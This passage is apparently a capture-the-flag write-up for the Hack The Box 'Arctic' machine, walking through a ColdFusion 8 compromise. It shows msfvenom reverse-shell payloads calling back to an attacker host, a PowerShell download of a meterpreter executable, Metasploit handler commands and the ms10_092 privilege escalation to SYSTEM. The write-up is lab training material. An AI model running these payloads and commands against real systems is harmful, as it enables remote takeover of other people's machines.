Creating a jsp reverse shell using msfvenom (fit in the LHOST and LPORT values) –>

┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.52 LPORT=8500 > shell.jsp
 Payload size: 1500 bytes

Let’s copy this reverse shell file into our apache web server directory i.e. /var/www/sheerazali.com/

┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ cp shell.jsp /var/www/sheerazali.com/

and start the apache server on our machine.

┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ service apache2 start

Checking the localhost webpage to ensure that we have the file “shell.jsp” hosted.

Now, let’s schedule a task in ColdFusion to visit this "shell.jsp” file on our server and do the magic 😉
I will add the URL of our server where the “shell.jsp” file resides i.e. http://10.10.14.52/shell.jsp and will also specify the destination path to save the file on the box i.e.  C:\ColdFusion8\wwwroot\CFIDE\shell.jsp

Once, the task is scheduled, Run it !

It will take a while, and then give a message “This scheduled task was completed successfully.“

Verifying that we have successfully uploaded “shell.jsp” to the CFIDE directory.

So, yes shell.jsp is successfully uploaded.

let’s open up the listening port 8500 on our machine (as 8500 was the port we mentioned as LPORT in the shell.jsp)

┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ nc -nlvp 8500
 listening on [any] 8500 …

Let’s now visit the URL to "shell.jsp” file on the box http://10.129.150.104:8500/CFIDE/shell.jsp
Yay! We have a reverse shell!

Arctic Writeup: User Flag

On running the command “whoami” we find out that the current user is “tolis“

Voila🎉 We have the user flag. Now we gotta escalate our privileges.

Arctic Writeup: Root Flag

Getting a reverse meterpreter shell

Now, because this is just a reverse shell, let us try getting a meterpreter session on the box
Let’s create a windows reverse meterpreter shell using msfvenom —>

┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.52 LPORT=8500 -f exe > met_shell.exe
 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
 [-] No arch selected, selecting arch: x86 from the payload
 No encoder or badchars specified, outputting raw payload
 Payload size: 341 bytes
 Final size of exe file: 73802 bytes

And copy it to the server directory to be able to host this file on the server.

 ┌─[root@kali]─[~/Desktop/Arctic HTB]
 └──╼ cp met_shell.exe /var/www/sheerazali.com/

now let’s run this powershell command in the normal reverse shell we obtainer earlier,

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.14.52/met_shell.exe','meterpreter.exe')"

So, now we have the “meterpreter.exe” on the box

Let’s use the “exploit/multi/handler" on metasploit

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > options
 Module options (exploit/multi/handler):
 Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------
 Exploit target:
 Id  Name
    --  ----
    0   Wildcard Target

 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp

 msf5 exploit(multi/handler) > show options
 Module options (exploit/multi/handler):
 Name  Current Setting  Required  Description
    ----  ---------------  --------  -----------
 Payload options (windows/meterpreter/reverse_tcp):
 Name      Current Setting  Required  Description
    ----      ---------------  --------  -----------
    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST                      yes       The listen address (an interface may be specified)
    LPORT     4444             yes       The listen port
 Exploit target:
 Id  Name
    --  ----
    0   Wildcard Target

 msf5 exploit(multi/handler) > set LHOST 10.10.14.52
 LHOST => 10.10.14.52
 msf5 exploit(multi/handler) > set LPORT 8500
 LPORT => 8500

 msf5 exploit(multi/handler) > run
 [*] Started reverse TCP handler on 10.10.14.52:8500 

Now let’s run the “meterpreter.exe” file on the box using our current shell.

And there we have our reverse meterpreter shell 🙂

PS– We are running a x86 meterpreter session on a x64 box.

I also tried out the command “getsystem”  to gain root, you know just in case 😉 but it didn’t work lol

Now, lets run the “local_exploit_suggester". This module basically suggests any exploits that the box is vulnerable against.

meterpreter > 
 Background session 1? [y/N]  
 msf5 exploit(multi/handler) > search suggest
 Matching Modules
 #  Name                                             Disclosure Date  Rank    Check  Description
 ----                                             ---------------  ----    -----  -----------
 0  auxiliary/server/icmp_exfil                                       normal  No     ICMP Exfiltration Service
 1  exploit/windows/browser/ms10_018_ie_behaviors    2010-03-09       good    No     MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free
 2  exploit/windows/smb/timbuktu_plughntcommand_bof  2009-06-25       great   No     Timbuktu PlughNTCommand Named Pipe Buffer Overflow
 3  post/multi/recon/local_exploit_suggester                          normal  No     Multi Recon Local Exploit Suggester
 4  post/osx/gather/enum_colloquy                                     normal  No     OS X Gather Colloquy Enumeration
 5  post/osx/manage/sonic_pi                                          normal  No     OS X Manage Sonic Pi 
 msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester 
 msf5 post(multi/recon/local_exploit_suggester) > show options
 Module options (post/multi/recon/local_exploit_suggester):
 Name             Current Setting  Required  Description
    ----             ---------------  --------  -----------
    SESSION                           yes       The session to run this module on
    SHOWDESCRIPTION  false            yes       Displays a detailed description for the available exploits
 msf5 post(multi/recon/local_exploit_suggester) > set SESSION 1
 SESSION => 1
 msf5 post(multi/recon/local_exploit_suggester) > run

OK so we have some interesting results,

Also, because we are running an x86 architecture meterpreter session on an x64 architecture box, we should additionally try to migrate our meterpreter session to an x64 architecture and re-run the “local_exploit_suggester” module as they may return different results.

Arctic Writeup: Migrating meterpreter shell

So, lets migrate our x86 meterpreter session into an x64 version.

Let’s choose a process with x64 Architecture,
I will be avoiding “powershell.exe” because using it may cause this process to die, and if “powershell.exe" dies our meterpreter session dies.
Let’s use “jrun.exe" with “pid = 1140“

So. now we have successfully migrated into an x64 version meterpreter session. Lets re-run the “local_exploit_suggester"

Comparing the two results from x86 session and x64 session, we can deduce that “exlpoit/windows/local/ms10_092_scelevator” which is ideal for escalating privileges is common to both. Let’s try the exploit “ms10_092“

Awesome! 🥳 We are AUTHORITY\SYSTEM . Here’s the root flag.

Until next box, checkout other intriguing writeups here